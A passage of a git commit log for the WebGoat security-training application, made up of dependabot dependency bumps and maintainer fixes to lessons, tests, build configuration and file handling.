Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:49 +01:00
dependabot[bot]
b940e5ce58
chore: bump docker/setup-qemu-action from 3.3.0 to 3.4.0 (#2022)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:38 +01:00
Nanne Baars
9c90a24cc0
docs(CSRFFeedback.java): fixed one invalid solution about CSRF attack (#2010)
Co-authored-by: HackHuang <GoogTech@outlook.com>
Co-authored-by: HackHuang <hi@goog.tech>
2025-01-26 20:23:40 +01:00
dependabot[bot]
2ac50bfbd8
chore: bump docker/build-push-action from 6.11.0 to 6.12.0 (#2005)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-26 19:18:25 +01:00
Nanne Baars
d96dbe2edf fix: build failure 2025-01-26 18:47:10 +01:00
Nanne Baars
8e45316638
feat: Introduce Playwright for UI testing
Instead of using Robot Framework which does not run during a `mvn install`. Playwright seems to be the better approach. We can now write them as normal JUnit test and they are executed during a build.

Additionally this PR solves some interesting bugs found during writing Playwright tests:

- A reset of a lesson removes all assignments as a result another user wouldn't see any assignments
- If someone solves an assignment the assignment automatically got solved for a new user since the assignment included the `solved` flag which immediately got copied to new lesson progress.
- Introduction of assignment progress linking a assignment not directly to all users.
2025-01-26 16:59:59 +01:00
dependabot[bot]
9d5ab5fb21
chore: bump docker/setup-qemu-action from 3.1.0 to 3.3.0 (#2000) 2025-01-14 23:33:20 +01:00
dependabot[bot]
aee7abc6b7
chore: bump docker/build-push-action from 6.10.0 to 6.11.0 (#2001) 2025-01-14 23:32:04 +01:00
Nanne Baars
06e2fdbd33
refactor: use symbolic link for Java (#1996) 2025-01-12 16:17:45 +01:00
dependabot[bot]
02f43c54d0
chore: bump org.springframework.boot:spring-boot-starter-parent (#1994) 2024-12-25 11:00:53 +01:00
dependabot[bot]
19f4f8dc46
chore: bump com.google.guava:guava from 33.3.1-jre to 33.4.0-jre (#1995) 2024-12-25 11:00:37 +01:00
Nanne Baars
112ca3ab22
fix: enable resource patterns again (#1993)
`LessonScanner.java` got removed by mistake.

Closes: gh-1992
2024-12-21 18:47:30 +01:00
Nanne Baars
0244655409
feat: Move to Java 23
Closes: gh-1990
2024-12-21 14:16:33 +01:00
dependabot[bot]
a95213757d
chore: bump org.springframework.boot:spring-boot-starter-parent from 3.3.5 to 3.4.0 (#1962) 2024-12-16 20:16:10 +01:00
dependabot[bot]
6d90852c1f
chore: bump org.apache.commons:commons-text from 1.12.0 to 1.13.0 (#1986) 2024-12-16 20:15:53 +01:00
Nanne Baars
4f8652758c
refactor: remove unused code (#1985) 2024-12-15 13:06:49 +01:00
Nanne Baars
5fc2e0602c
refactor: move plugin messages (#1968) 2024-12-03 22:13:44 +01:00
dependabot[bot]
f3c7f4588b
chore: bump docker/build-push-action from 6.9.0 to 6.10.0 (#1969) 2024-12-03 22:13:24 +01:00
dependabot[bot]
119b84d034
chore: bump org.wiremock:wiremock-standalone from 3.9.2 to 3.10.0 (#1970) 2024-12-03 22:13:11 +01:00
dependabot[bot]
afd951228d
chore: bump org.jsoup:jsoup from 1.18.1 to 1.18.3 (#1971) 2024-12-03 22:13:00 +01:00
Jeong Rok Suh
51e3f59054
fix: Hint labels showing default text regardless of localization (#1965) 2024-11-26 23:34:09 +01:00
dependabot[bot]
cc0efd8600
chore: bump commons-io:commons-io from 2.17.0 to 2.18.0 (#1961) 2024-11-26 23:21:10 +01:00
dependabot[bot]
e29dccf3c9
chore: bump org.testcontainers:junit-jupiter from 1.20.3 to 1.20.4 (#1963) 2024-11-26 23:20:25 +01:00
dependabot[bot]
0cf861fb3c
chore: bump org.testcontainers:testcontainers from 1.20.3 to 1.20.4 (#1964) 2024-11-26 23:20:11 +01:00
Nanne Baars
d8100385b6
fix: automatically solve XSS mitigation (#1957)
This PR moves the mitigation Java class into the correct package.

The lesson was automatically solved because no assignments were found.

Closes: #1943
2024-11-14 08:42:55 +01:00
Nanne Baars
4880afa0e3
fix: remove implicit context path guessing (#1956)
Pass the context-path in the assignment overview so the frontend can easily match an assignment.
2024-11-13 21:32:28 +01:00
dependabot[bot]
e60ca6ce72
chore: bump org.jruby:jruby from 9.4.8.0 to 9.4.9.0 (#1954) 2024-11-11 13:46:45 +01:00
dependabot[bot]
88a763f513
chore: bump org.testcontainers:junit-jupiter from 1.20.1 to 1.20.3 (#1946)
Bumps [org.testcontainers:junit-jupiter](https://github.com/testcontainers/testcontainers-java) from 1.20.1 to 1.20.3.
- [Release notes](https://github.com/testcontainers/testcontainers-java/releases)
- [Changelog](https://github.com/testcontainers/testcontainers-java/blob/main/CHANGELOG.md)
- [Commits](https://github.com/testcontainers/testcontainers-java/compare/1.20.1...1.20.3)

---
updated-dependencies:
- dependency-name: org.testcontainers:junit-jupiter
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:27 +01:00
dependabot[bot]
7f33d3609f
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1948)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.1 to 3.5.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.1...surefire-3.5.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:10 +01:00
dependabot[bot]
bf02077427
chore: bump org.wiremock:wiremock-standalone from 3.9.1 to 3.9.2 (#1947)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.9.1 to 3.9.2.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.1...3.9.2)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 15:46:43 +01:00
Nanne Baars
e1e00bca73
fix: JWT kid/jku lessons (#1949)
* refactor: rewrite hints

Use active voice and fix grammar issues.

* fix: use Thymeleaf `th:action`

* fix: JWT kid/jku lessons

Split the JavaScript into two files they pointed to the same URL

The JWTs are now valid, they parse successfully.

The paths now include `/kid` and `/jku` to make sure the hints match accordingly in the UI. Otherwise `/delete` would pick up both hints from both assignments as the paths overlap.

Closes: #1715

* fix: update to latest pre-commit version

* fix: increase timeouts for server to start during integration tests
2024-11-07 15:45:33 +01:00
Nanne Baars
d59153d6d7
Fix password reset lesson (#1941)
* docs: improve text

* fix: use correct POST url
2024-10-29 17:32:51 +01:00
dependabot[bot]
87fae00f03
chore: bump commons-io:commons-io from 2.16.1 to 2.17.0 (#1937)
Bumps commons-io:commons-io from 2.16.1 to 2.17.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-29 16:30:32 +01:00
Nanne Baars
3f6a74ad86
chore(gh-actions): update dependency 2024-10-28 22:02:02 +01:00
Nanne Baars
1d37ee0877
ci: run pre-commit checks first
Create a dependency between the jobs.
2024-10-28 21:59:10 +01:00
Nanne Baars
4f6ab25ebd
ci: run pre-commit checks first 2024-10-28 21:57:43 +01:00
dependabot[bot]
af687e71fe
chore: bump com.google.guava:guava from 33.3.0-jre to 33.3.1-jre (#1939) 2024-10-28 20:02:09 +01:00
dependabot[bot]
83ed4c3d5c
chore: bump org.testcontainers:testcontainers from 1.20.1 to 1.20.3 (#1935) 2024-10-28 15:05:33 +01:00
dependabot[bot]
62cdfd0824
chore: bump com.github.terma:javaniotcpproxy from 1.5 to 1.6 (#1936) 2024-10-28 15:04:15 +01:00
dependabot[bot]
e7457f4821
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1938) 2024-10-28 15:04:01 +01:00
Nanne Baars
4efaf87c7e
Fix passing command line arguments (#1933)
* fix: use banners correctly

* fix: passing command line arguments

Since we already have `webwolf.port` it makes sense to also define `webwolf.port` explicitly and not rely on `server.port`

Closes: #1910
2024-10-27 08:39:02 +01:00
dependabot[bot]
cf5101a633
chore: bump org.asciidoctor:asciidoctorj from 2.5.13 to 3.0.0 (#1897) 2024-10-26 22:53:43 +02:00
Nanne Baars
3f049ba53a
Nbaars/1886 (#1932)
* improved code readbility

* chore: format code

---------

Co-authored-by: guilherme peixoto <peixoto-guilherme7@hotmail.com>
2024-10-26 22:18:28 +02:00
dependabot[bot]
7e294fbdb5
chore: bump org.apache.commons:commons-compress from 1.26.2 to 1.27.1 (#1884) 2024-10-26 19:27:07 +02:00
dependabot[bot]
2177eb663a
chore: bump docker/build-push-action from 6.7.0 to 6.9.0 (#1920) 2024-10-26 16:59:13 +02:00
François Capon
50692300eb
docs: Show boolean operators priority on where (#1902) 2024-10-26 14:48:50 +02:00
dependabot[bot]
e2c2d425cb
chore: bump actions/cache from 4.0.2 to 4.1.1 (#1925) 2024-10-26 14:25:04 +02:00
dependabot[bot]
6bbd3cb66b
chore: bump org.springframework.boot:spring-boot-starter-parent (#1931) 2024-10-26 14:20:14 +02:00
Nanne Baars
d08a56d351
chore: add test for solving same lesson as different user. (#1930)
We removed the constraint but did not add an extra testcase to cover this bug.

Closes: #1890
2024-10-26 12:06:30 +02:00
dependabot[bot]
ec97568ec2
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1922)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.1 to 3.5.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.1...surefire-3.5.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:55:02 +02:00
dependabot[bot]
9b68368b23
chore: bump pre-commit-ci/lite-action from 1.0.1 to 1.1.0 (#1926)
Bumps [pre-commit-ci/lite-action](https://github.com/pre-commit-ci/lite-action) from 1.0.1 to 1.1.0.
- [Release notes](https://github.com/pre-commit-ci/lite-action/releases)
- [Commits](https://github.com/pre-commit-ci/lite-action/compare/v1.0.1...v1.1.0)

---
updated-dependencies:
- dependency-name: pre-commit-ci/lite-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:54:46 +02:00
Nanne Baars
ab068901f1
Remove WebGoat session object (#1929)
* refactor: modernize code

* refactor: move to Tomcat

* chore: bump to Spring Boot 3.3.3

* refactor: use Testcontainers to run integration tests

* refactor: lesson/assignment progress

* chore: format code

* refactor: first step into removing base class for assignment

Always been a bit of an ugly construction, as none of the dependencies are clear. The constructors are hidden due to autowiring the base class. This PR removes two of the fields.

As a bonus we now wire the authentication principal directly in the controllers.

* refactor: use authentication principal directly.

* refactor: pass lesson to the endpoints

No more need to get the current lesson set in a session. The lesson is now passed to the endpoints.

* fix: Testcontainers cannot run on Windows host in Github actions.

Since we have Windows specific paths let's run it standalone for now. We need to run these tests on Docker as well (for now disabled)
2024-10-26 10:54:21 +02:00
François Capon
cb7c508046
fix: reset form and quiz color on reset lesson (#1903)
* ./mvnw spotless:apply

```
[INFO] --- spotless-maven-plugin:2.41.1:apply (default-cli) @ webgoat ---
[INFO] Writing clean file: /home/ulyssa/labs/WebGoat/WebGoat-bb6e84d/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java
```

* On reset lesson: reset form and quizzes colors
2024-10-26 09:22:18 +02:00
Rui Melo
f4c86be6c7 Update fix version 2024-10-18 22:50:19 +02:00
Benjamin Mouncer
cf2c115093 fix: xss lesson typo 2024-10-18 22:38:32 +02:00
dependabot[bot]
bb6e84ddcf
chore: bump com.google.guava:guava from 33.2.1-jre to 33.3.0-jre (#1879)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.2.1-jre to 33.3.0-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:44:38 +02:00
dependabot[bot]
5fc2666b43
chore: bump docker/build-push-action from 6.5.0 to 6.7.0 (#1877)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.5.0 to 6.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.5.0...v6.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:43:46 +02:00
dependabot[bot]
6e946f21a2
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.1 to 5.9.2 (#1866)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.9.1 to 5.9.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.9.1...webdrivermanager-5.9.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:57:57 +02:00
dependabot[bot]
d38ba2a626
chore: bump docker/build-push-action from 6.4.1 to 6.5.0 (#1867)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.4.1 to 6.5.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.4.1...v6.5.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:33 +02:00
dependabot[bot]
4c7e6ae4f4
chore: bump org.wiremock:wiremock from 3.9.0 to 3.9.1 (#1865)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.9.0 to 3.9.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.0...3.9.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:12 +02:00
Nanne Baars
58b762eade
fix: copying file using transferTo sometimes fails. (#1862)
Turns out that using this method sometimes fails with an exception about unable to delete a directory.
The stacktrace points to:

```
java.nio.file.FileSystemException: /tmp/webwolf-fileserver/dumbanddummer/xxe_a11.dtd: Not a directory
        at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:100) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111) ~[na:na]
        at java.base/sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:248) ~[na:na]
        at java.base/sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:110) ~[na:na]
        at java.base/java.nio.file.Files.deleteIfExists(Files.java:1191) ~[na:na]
        at java.base/java.nio.file.Files.copy(Files.java:3147) ~[na:na]
        at io.undertow.server.handlers.form.FormData$FileItem.write(FormData.java:274) ~[undertow-core-2.3.10.Final.jar!/:2.3.10.Final]
        at io.undertow.servlet.spec.PartImpl.write(PartImpl.java:119) ~[undertow-servlet-2.3.10.Final.jar!/:2.3.10.Final]
        at org.springframework.web.multipart.support.StandardMultipartHttpServletRequest$StandardMultipartFile.transferTo(StandardMultipartHttpServletRequest.java:254) ~[spring-web-6.0.13.jar!/:6.0.13]
        at org.owasp.webgoat.webwolf.FileServer.importFile(FileServer.java:89)
```

It has to do with the underlying implmentation in Undertow. An explaination can be found here: https://stackoverflow.com/questions/60336929/java-nio-file-nosuchfileexception-when-file-transferto-is-called

The solution is to take the input stream and use a simple `Files.copy()` to copy the file.

Closes: #1737
2024-07-28 17:47:30 +02:00
Nanne Baars
2b0c22ac68
Small improvements (#1848)
* refactor: remove CORS

* improvement: add healthcheck to Docker file
2024-07-23 17:42:56 +02:00
dependabot[bot]
85103bbcad
chore: bump docker/login-action from 3.2.0 to 3.3.0 (#1855)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.2.0 to 3.3.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.2.0...v3.3.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-23 17:36:27 +02:00
dependabot[bot]
b98e1a98e1
chore: bump docker/build-push-action from 6.2.0 to 6.4.1 (#1854)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.2.0 to 6.4.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.2.0...v6.4.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:33:06 +02:00
dependabot[bot]
73de259809
chore: bump org.wiremock:wiremock from 3.8.0 to 3.9.0 (#1852)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.8.0 to 3.9.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.8.0...3.9.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:48 +02:00
dependabot[bot]
4a804fabb6
chore: bump org.jsoup:jsoup from 1.17.2 to 1.18.1 (#1851)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.17.2 to 1.18.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.17.2...jsoup-1.18.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:27 +02:00
dependabot[bot]
7f652dadec
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1850)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.0 to 3.3.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.0...surefire-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:10 +02:00
dependabot[bot]
f66dff1aeb
chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom (#1840)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.10 to 12.0.11.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.10...jetty-12.0.11)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-10 12:14:45 +02:00
dependabot[bot]
777cec5a57
chore: bump io.github.bonigarcia:webdrivermanager from 5.8.0 to 5.9.1 (#1838)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.8.0 to 5.9.1.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.8.0...webdrivermanager-5.9.1)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:53:00 +02:00
dependabot[bot]
98fd280459
chore: bump org.wiremock:wiremock from 3.7.0 to 3.8.0 (#1837)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.7.0 to 3.8.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.7.0...3.8.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:49 +02:00
dependabot[bot]
8e0addff0b
chore: bump org.jruby:jruby from 9.4.7.0 to 9.4.8.0 (#1841)
Bumps org.jruby:jruby from 9.4.7.0 to 9.4.8.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:41 +02:00
dependabot[bot]
a30fbc223a
chore: bump docker/setup-qemu-action from 2.2.0 to 3.1.0 (#1842)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.2.0 to 3.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.2.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:27 +02:00
Nanne Baars
a0b6decf34
Fix report card (#1845)
* fix: report card

Fix and simplify calculation of the number of assignments a user solved.
Rename `UserTracker` to `UserProgress`
Rename `LessonTracker` to `LessonProgress`
Rename tables in database
2024-07-09 20:07:09 +02:00
dependabot[bot]
1531987da5
chore: bump docker/build-push-action from 6.1.0 to 6.2.0 (#1839)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.1.0 to 6.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.1.0...v6.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-07 12:24:25 +02:00
dependabot[bot]
bec6580c84
chore: bump docker/build-push-action from 5.4.0 to 6.1.0 (#1832)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.4.0 to 6.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.4.0...v6.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-29 10:16:10 +02:00
dependabot[bot]
900702481b
chore: bump org.wiremock:wiremock from 3.6.0 to 3.7.0 (#1834)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.6.0 to 3.7.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.6.0...3.7.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-26 09:14:21 +02:00
dependabot[bot]
f35b23970e
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1828)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.2.1...surefire-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:44:31 +02:00
dependabot[bot]
074fd8f5ff
chore: bump org.webjars:webjars-locator-core from 0.58 to 0.59 (#1827)
Bumps [org.webjars:webjars-locator-core](https://github.com/webjars/webjars-locator-core) from 0.58 to 0.59.
- [Commits](https://github.com/webjars/webjars-locator-core/compare/webjars-locator-core-0.58...webjars-locator-core-0.59)

---
updated-dependencies:
- dependency-name: org.webjars:webjars-locator-core
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:32:57 +02:00
dependabot[bot]
8c890b090c
chore: bump io.github.bonigarcia:webdrivermanager from 5.6.3 to 5.8.0 (#1826)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.6.3 to 5.8.0.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.6.3...webdrivermanager-5.8.0)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 10:38:31 +02:00
dependabot[bot]
630c1e1afd
chore: bump org.ow2.asm:asm from 9.5 to 9.7 (#1829)
Bumps org.ow2.asm:asm from 9.5 to 9.7.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-18 09:11:59 +02:00
dependabot[bot]
061c75a05f
chore: bump org.apache.commons:commons-compress from 1.26.0 to 1.26.2 (#1825)
Bumps org.apache.commons:commons-compress from 1.26.0 to 1.26.2.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
